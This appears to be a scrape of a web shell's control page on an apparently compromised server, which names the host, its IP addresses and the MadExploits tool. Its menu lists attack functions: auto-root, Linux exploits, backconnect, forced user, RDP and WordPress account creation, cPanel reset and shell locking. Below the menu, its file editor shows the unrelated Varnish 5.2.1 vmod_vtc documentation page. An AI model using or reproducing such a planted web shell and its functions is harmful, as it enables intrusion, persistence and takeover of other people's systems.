Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
varnish-5.2.1 /
html /
reference /
[ HOME SHELL ]
Name
Size
Permission
Action
directors.html
17.15
KB
-rw-r--r--
index.html
11.66
KB
-rw-r--r--
states.html
6.61
KB
-rw-r--r--
varnish-cli.html
42.86
KB
-rw-r--r--
varnish-counters.html
47.32
KB
-rw-r--r--
varnishadm.html
11.39
KB
-rw-r--r--
varnishd.html
97.37
KB
-rw-r--r--
varnishhist.html
13.74
KB
-rw-r--r--
varnishlog.html
14.57
KB
-rw-r--r--
varnishncsa.html
20.51
KB
-rw-r--r--
varnishstat.html
15.77
KB
-rw-r--r--
varnishtest.html
20.91
KB
-rw-r--r--
varnishtop.html
14.9
KB
-rw-r--r--
vcl.html
60.01
KB
-rw-r--r--
vmod.html
38.09
KB
-rw-r--r--
vmod_blob.generated.html
60.21
KB
-rw-r--r--
vmod_directors.generated.html
47.28
KB
-rw-r--r--
vmod_purge.generated.html
11.75
KB
-rw-r--r--
vmod_std.generated.html
36.32
KB
-rw-r--r--
vmod_vtc.generated.html
21.55
KB
-rw-r--r--
vsl-query.html
23.18
KB
-rw-r--r--
vsl.html
57.59
KB
-rw-r--r--
vsm.html
10.09
KB
-rw-r--r--
vtc.html
57.21
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vmod_vtc.generated.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>vmod_vtc — Varnish version 5.2.1 documentation</title> <link rel="stylesheet" href="../_static/classic.css" type="text/css" /> <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: '../', VERSION: '5.2.1', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <link rel="index" title="Index" href="../genindex.html" /> <link rel="search" title="Search" href="../search.html" /> <link rel="top" title="Varnish version 5.2.1 documentation" href="../index.html" /> <link rel="up" title="The Varnish Reference Manual" href="index.html" /> <link rel="next" title="vmod_purge" href="vmod_purge.generated.html" /> <link rel="prev" title="vmod_directors" href="vmod_directors.generated.html" /> </head> <body role="document"> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="vmod_purge.generated.html" title="vmod_purge" accesskey="N">next</a> |</li> <li class="right" > <a href="vmod_directors.generated.html" title="vmod_directors" accesskey="P">previous</a> |</li> <li class="nav-item nav-item-0"><a href="../index.html">Varnish version 5.2.1 documentation</a> »</li> <li class="nav-item nav-item-1"><a href="index.html" accesskey="U">The Varnish Reference Manual</a> »</li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body" role="main"> <div class="section" id="vmod-vtc"> <span id="vmod-vtc-3"></span><h1>vmod_vtc<a class="headerlink" href="#vmod-vtc" title="Permalink to this headline">¶</a></h1> <div class="section" id="utility-module-for-varnishtest"> <h2>Utility module for varnishtest<a class="headerlink" href="#utility-module-for-varnishtest" title="Permalink to this headline">¶</a></h2> <table class="docutils field-list" frame="void" rules="none"> <col class="field-name" /> <col class="field-body" /> <tbody valign="top"> <tr class="field-odd field"><th class="field-name">Manual section:</th><td class="field-body">3</td> </tr> </tbody> </table> <div class="section" id="synopsis"> <h3>SYNOPSIS<a class="headerlink" href="#synopsis" title="Permalink to this headline">¶</a></h3> <p>import vtc [from "path"] ;</p> </div> <div class="section" id="contents"> <h3>CONTENTS<a class="headerlink" href="#contents" title="Permalink to this headline">¶</a></h3> <ul class="simple"> <li><a class="reference internal" href="#func-barrier-sync"><span class="std std-ref">barrier_sync</span></a></li> <li><a class="reference internal" href="#func-no-backend"><span class="std std-ref">no_backend</span></a></li> <li><a class="reference internal" href="#func-no-stevedore"><span class="std std-ref">no_stevedore</span></a></li> <li><a class="reference internal" href="#func-panic"><span class="std std-ref">panic</span></a></li> <li><a class="reference internal" href="#func-sleep"><span class="std std-ref">sleep</span></a></li> <li><a class="reference internal" href="#func-typesize"><span class="std std-ref">typesize</span></a></li> <li><a class="reference internal" href="#func-workspace-alloc"><span class="std std-ref">workspace_alloc</span></a></li> <li><a class="reference internal" href="#func-workspace-free"><span class="std std-ref">workspace_free</span></a></li> <li><a class="reference internal" href="#func-workspace-overflow"><span class="std std-ref">workspace_overflow</span></a></li> <li><a class="reference internal" href="#func-workspace-overflowed"><span class="std std-ref">workspace_overflowed</span></a></li> <li><a class="reference internal" href="#func-workspace-reset"><span class="std std-ref">workspace_reset</span></a></li> <li><a class="reference internal" href="#func-workspace-snapshot"><span class="std std-ref">workspace_snapshot</span></a></li> </ul> </div> <div class="section" id="description"> <h3>DESCRIPTION<a class="headerlink" href="#description" title="Permalink to this headline">¶</a></h3> <p>The goal for this VMOD is to provide VCL users and VMOD authors means to test corner cases or reach certain conditions with varnishtest.</p> <div class="section" id="barrier-sync"> <span id="func-barrier-sync"></span><h4>barrier_sync<a class="headerlink" href="#barrier-sync" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">VOID</span> <span class="n">barrier_sync</span><span class="p">(</span><span class="n">STRING</span> <span class="n">addr</span><span class="p">,</span> <span class="n">DURATION</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span> </pre></div> </div> <p>When writing test cases, the most common pattern is to start a mock server instance, a Varnish instance, and spin up a mock client. Those entities run asynchronously, and others exist like background processes (<code class="docutils literal"><span class="pre">process</span></code>) or log readers (<code class="docutils literal"><span class="pre">logexpect</span></code>). While you can synchronize with individual entities and wait for their completion, you must use a barrier if you need to synchronize two or more entities, or wait until a certain point instead of completion.</p> <p>Not only is it possible to synchronize between test entities, with the <code class="docutils literal"><span class="pre">barrier_sync</span></code> function you can even synchronize VCL code:</p> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">sub</span> <span class="n">vcl_recv</span> <span class="p">{</span> <span class="c1"># wait for some barrier b1 to complete</span> <span class="n">vtc</span><span class="o">.</span><span class="n">barrier_sync</span><span class="p">(</span><span class="s2">"$</span><span class="si">{b1_sock}</span><span class="s2">"</span><span class="p">);</span> <span class="p">}</span> </pre></div> </div> <p>If the function fails to synchronize with the barrier for some reason, or if it reaches the optional timeout, it fails the VCL transaction.</p> </div> </div> <div class="section" id="miscellaneous"> <h3>MISCELLANEOUS<a class="headerlink" href="#miscellaneous" title="Permalink to this headline">¶</a></h3> <div class="section" id="no-backend"> <span id="func-no-backend"></span><h4>no_backend<a class="headerlink" href="#no-backend" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">BACKEND</span> <span class="n">no_backend</span><span class="p">()</span> </pre></div> </div> <p>Fails at backend selection.</p> </div> <div class="section" id="no-stevedore"> <span id="func-no-stevedore"></span><h4>no_stevedore<a class="headerlink" href="#no-stevedore" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">STEVEDORE</span> <span class="n">no_stevedore</span><span class="p">()</span> </pre></div> </div> <p>Fails at storage selection.</p> </div> <div class="section" id="panic"> <span id="func-panic"></span><h4>panic<a class="headerlink" href="#panic" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">VOID</span> <span class="n">panic</span><span class="p">(</span><span class="n">STRING</span><span class="p">)</span> </pre></div> </div> <p>It can be useful to crash the child process in order to test the robustness of a VMOD.</p> </div> <div class="section" id="sleep"> <span id="func-sleep"></span><h4>sleep<a class="headerlink" href="#sleep" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">VOID</span> <span class="n">sleep</span><span class="p">(</span><span class="n">DURATION</span><span class="p">)</span> </pre></div> </div> <p>Block the current worker thread.</p> </div> </div> <div class="section" id="workspaces"> <h3>WORKSPACES<a class="headerlink" href="#workspaces" title="Permalink to this headline">¶</a></h3> <p>It can be useful to put a workspace in a given state when testing corner cases like resource exhaustion for a transaction, especially for VMOD development. All functions available allow to pick which workspace you need to tamper with, available values are <code class="docutils literal"><span class="pre">client</span></code>, <code class="docutils literal"><span class="pre">backend</span></code>, <code class="docutils literal"><span class="pre">session</span></code> and <code class="docutils literal"><span class="pre">thread</span></code>.</p> <div class="section" id="workspace-alloc"> <span id="func-workspace-alloc"></span><h4>workspace_alloc<a class="headerlink" href="#workspace-alloc" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">VOID</span> <span class="n">workspace_alloc</span><span class="p">(</span><span class="n">ENUM</span> <span class="p">{</span><span class="n">client</span><span class="p">,</span><span class="n">backend</span><span class="p">,</span><span class="n">session</span><span class="p">,</span><span class="n">thread</span><span class="p">},</span> <span class="n">INT</span> <span class="n">size</span><span class="p">)</span> </pre></div> </div> <p>Allocate and zero out memory from a workspace. A negative size will allocate as much as needed to leave that many bytes free. The actual allocation size may be higher to comply with memory alignment requirements of the CPU architecture. A failed allocation fails the transaction.</p> </div> <div class="section" id="workspace-free"> <span id="func-workspace-free"></span><h4>workspace_free<a class="headerlink" href="#workspace-free" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">INT</span> <span class="n">workspace_free</span><span class="p">(</span><span class="n">ENUM</span> <span class="p">{</span><span class="n">client</span><span class="p">,</span><span class="n">backend</span><span class="p">,</span><span class="n">session</span><span class="p">,</span><span class="n">thread</span><span class="p">})</span> </pre></div> </div> <p>Find how much unallocated space there is left in a workspace.</p> </div> <div class="section" id="workspace-snapshot"> <span id="func-workspace-snapshot"></span><h4>workspace_snapshot<a class="headerlink" href="#workspace-snapshot" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">VOID</span> <span class="n">workspace_snapshot</span><span class="p">(</span><span class="n">ENUM</span> <span class="p">{</span><span class="n">client</span><span class="p">,</span><span class="n">backend</span><span class="p">,</span><span class="n">session</span><span class="p">,</span><span class="n">thread</span><span class="p">})</span> </pre></div> </div> <p>Snapshot a workspace. Only one snapshot may be active at a time.</p> </div> <div class="section" id="workspace-reset"> <span id="func-workspace-reset"></span><h4>workspace_reset<a class="headerlink" href="#workspace-reset" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">VOID</span> <span class="n">workspace_reset</span><span class="p">(</span><span class="n">ENUM</span> <span class="p">{</span><span class="n">client</span><span class="p">,</span><span class="n">backend</span><span class="p">,</span><span class="n">session</span><span class="p">,</span><span class="n">thread</span><span class="p">})</span> </pre></div> </div> <p>Reset to the previous snapshot of a workspace, it must be the same workspace too.</p> </div> <div class="section" id="workspace-overflowed"> <span id="func-workspace-overflowed"></span><h4>workspace_overflowed<a class="headerlink" href="#workspace-overflowed" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">BOOL</span> <span class="n">workspace_overflowed</span><span class="p">(</span><span class="n">ENUM</span> <span class="p">{</span><span class="n">client</span><span class="p">,</span><span class="n">backend</span><span class="p">,</span><span class="n">session</span><span class="p">,</span><span class="n">thread</span><span class="p">})</span> </pre></div> </div> <p>Find whether the workspace overflow mark is set or not.</p> </div> <div class="section" id="workspace-overflow"> <span id="func-workspace-overflow"></span><h4>workspace_overflow<a class="headerlink" href="#workspace-overflow" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">VOID</span> <span class="n">workspace_overflow</span><span class="p">(</span><span class="n">ENUM</span> <span class="p">{</span><span class="n">client</span><span class="p">,</span><span class="n">backend</span><span class="p">,</span><span class="n">session</span><span class="p">,</span><span class="n">thread</span><span class="p">})</span> </pre></div> </div> <p>Mark a workspace as overflowed.</p> </div> <div class="section" id="typesize"> <span id="func-typesize"></span><h4>typesize<a class="headerlink" href="#typesize" title="Permalink to this headline">¶</a></h4> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">INT</span> <span class="n">typesize</span><span class="p">(</span><span class="n">STRING</span><span class="p">)</span> </pre></div> </div> <p>Returns the size in bytes of a collection of C-datatypes:</p> <ul class="simple"> <li><code class="docutils literal"><span class="pre">'p'</span></code>: pointer</li> <li><code class="docutils literal"><span class="pre">'i'</span></code>: <code class="docutils literal"><span class="pre">int</span></code></li> <li><code class="docutils literal"><span class="pre">'d'</span></code>: <code class="docutils literal"><span class="pre">double</span></code></li> <li><code class="docutils literal"><span class="pre">'f'</span></code>: <code class="docutils literal"><span class="pre">float</span></code></li> <li><code class="docutils literal"><span class="pre">'l'</span></code>: <code class="docutils literal"><span class="pre">long</span></code></li> <li><code class="docutils literal"><span class="pre">'s'</span></code>: <code class="docutils literal"><span class="pre">short</span></code></li> <li><code class="docutils literal"><span class="pre">'z'</span></code>: <code class="docutils literal"><span class="pre">size_t</span></code></li> <li><code class="docutils literal"><span class="pre">'o'</span></code>: <code class="docutils literal"><span class="pre">off_t</span></code></li> <li><code class="docutils literal"><span class="pre">'j'</span></code>: <code class="docutils literal"><span class="pre">intmax_t</span></code></li> </ul> <p>This can be useful for VMOD authors in conjunction with workspace operations.</p> </div> </div> <div class="section" id="see-also"> <h3>SEE ALSO<a class="headerlink" href="#see-also" title="Permalink to this headline">¶</a></h3> <ul class="simple"> <li><a class="reference internal" href="vtc.html#vtc-7"><span class="std std-ref">VTC</span></a></li> <li><a class="reference internal" href="vcl.html#vcl-7"><span class="std std-ref">VCL</span></a></li> </ul> </div> <div class="section" id="copyright"> <h3>COPYRIGHT<a class="headerlink" href="#copyright" title="Permalink to this headline">¶</a></h3> <div class="highlight-default"><div class="highlight"><pre><span></span>Copyright (c) 2017 Varnish Software AS All rights reserved. Author: Dridi Boukelmoune <dridi.boukelmoune@gmail.com> Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. </pre></div> </div> </div> </div> </div> </div> </div> </div> <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> <div class="sphinxsidebarwrapper"> <h3><a href="../index.html">Table Of Contents</a></h3> <ul> <li><a class="reference internal" href="#">vmod_vtc</a><ul> <li><a class="reference internal" href="#utility-module-for-varnishtest">Utility module for varnishtest</a><ul> <li><a class="reference internal" href="#synopsis">SYNOPSIS</a></li> <li><a class="reference internal" href="#contents">CONTENTS</a></li> <li><a class="reference internal" href="#description">DESCRIPTION</a><ul> <li><a class="reference internal" href="#barrier-sync">barrier_sync</a></li> </ul> </li> <li><a class="reference internal" href="#miscellaneous">MISCELLANEOUS</a><ul> <li><a class="reference internal" href="#no-backend">no_backend</a></li> <li><a class="reference internal" href="#no-stevedore">no_stevedore</a></li> <li><a class="reference internal" href="#panic">panic</a></li> <li><a class="reference internal" href="#sleep">sleep</a></li> </ul> </li> <li><a class="reference internal" href="#workspaces">WORKSPACES</a><ul> <li><a class="reference internal" href="#workspace-alloc">workspace_alloc</a></li> <li><a class="reference internal" href="#workspace-free">workspace_free</a></li> <li><a class="reference internal" href="#workspace-snapshot">workspace_snapshot</a></li> <li><a class="reference internal" href="#workspace-reset">workspace_reset</a></li> <li><a class="reference internal" href="#workspace-overflowed">workspace_overflowed</a></li> <li><a class="reference internal" href="#workspace-overflow">workspace_overflow</a></li> <li><a class="reference internal" href="#typesize">typesize</a></li> </ul> </li> <li><a class="reference internal" href="#see-also">SEE ALSO</a></li> <li><a class="reference internal" href="#copyright">COPYRIGHT</a></li> </ul> </li> </ul> </li> </ul> <h4>Previous topic</h4> <p class="topless"><a href="vmod_directors.generated.html" title="previous chapter">vmod_directors</a></p> <h4>Next topic</h4> <p class="topless"><a href="vmod_purge.generated.html" title="next chapter">vmod_purge</a></p> <div role="note" aria-label="source link"> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../_sources/reference/vmod_vtc.generated.txt" rel="nofollow">Show Source</a></li> </ul> </div> <div id="searchbox" style="display: none" role="search"> <h3>Quick search</h3> <form class="search" action="../search.html" method="get"> <div><input type="text" name="q" /></div> <div><input type="submit" value="Go" /></div> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> <script type="text/javascript">$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="vmod_purge.generated.html" title="vmod_purge" >next</a> |</li> <li class="right" > <a href="vmod_directors.generated.html" title="vmod_directors" >previous</a> |</li> <li class="nav-item nav-item-0"><a href="../index.html">Varnish version 5.2.1 documentation</a> »</li> <li class="nav-item nav-item-1"><a href="index.html" >The Varnish Reference Manual</a> »</li> </ul> </div> <div class="footer" role="contentinfo"> © Copyright 2010-2014, Varnish Software AS. Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.4.9. </div> </body> </html>
Close